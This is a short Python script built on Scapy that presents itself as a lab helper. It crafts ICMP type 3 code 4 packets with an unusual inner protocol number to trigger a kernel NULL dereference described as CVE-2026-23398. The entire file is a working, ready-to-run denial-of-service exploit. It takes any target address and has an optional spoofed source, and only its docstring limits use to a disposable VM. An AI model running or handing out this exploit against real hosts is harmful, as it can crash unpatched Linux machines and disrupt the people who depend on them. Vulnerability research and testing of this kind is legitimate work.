#!/usr/bin/env python3 """ Lab helper: craft ICMP Fragmentation Needed (3,4) with a quoted inner IPv4 header whose protocol number is unlikely to have an inet_protos[] handler. CVE-2026-23398 (patched kernels): NULL deref in icmp_tag_validation() when net.ipv4.ip_no_pmtu_disc == 3 and the inner proto has no registered handler. Use only against a disposable VM you own; do not point at third-party systems. """ from __future__ import annotations import argparse import os import sys try: from scapy.all import IP, ICMP, Raw, send except ImportError: print("Install Scapy: pip install scapy", file=sys.stderr) sys.exit(1) def main() -> int: p = argparse.ArgumentParser(description="Send crafted ICMP type 3 code 4 (lab).") p.add_argument("dst", help="Target IPv4 (VM under your control)") p.add_argument( "--inner-proto", type=int, default=253, help="IPv4 protocol field in quoted header (default 253, experimental)", ) p.add_argument( "--nexthop-mtu", type=int, default=1200, help="Next-hop MTU value in ICMP extension (RFC 1191)", ) p.add_argument("--src", default=None, help="Optional outer IP source (spoofing may fail)") args = p.parse_args() if os.geteuid() != 0: print("Warning: raw sockets usually require root (sudo).", file=sys.stderr) # Minimal quoted original datagram: IPv4 header + 8 bytes (RFC 792 / 1191). inner = IP(src="192.0.2.1", dst="192.0.2.2", proto=args.inner_proto) / Raw( load=b"\x00" * 8 ) outer_ip = IP(dst=args.dst) if args.src: outer_ip.src = args.src pkt = outer_ip / ICMP(type=3, code=4, nexthopmtu=args.nexthop_mtu) / inner send(pkt, verbose=1) return 0 if __name__ == "__main__": raise SystemExit(main())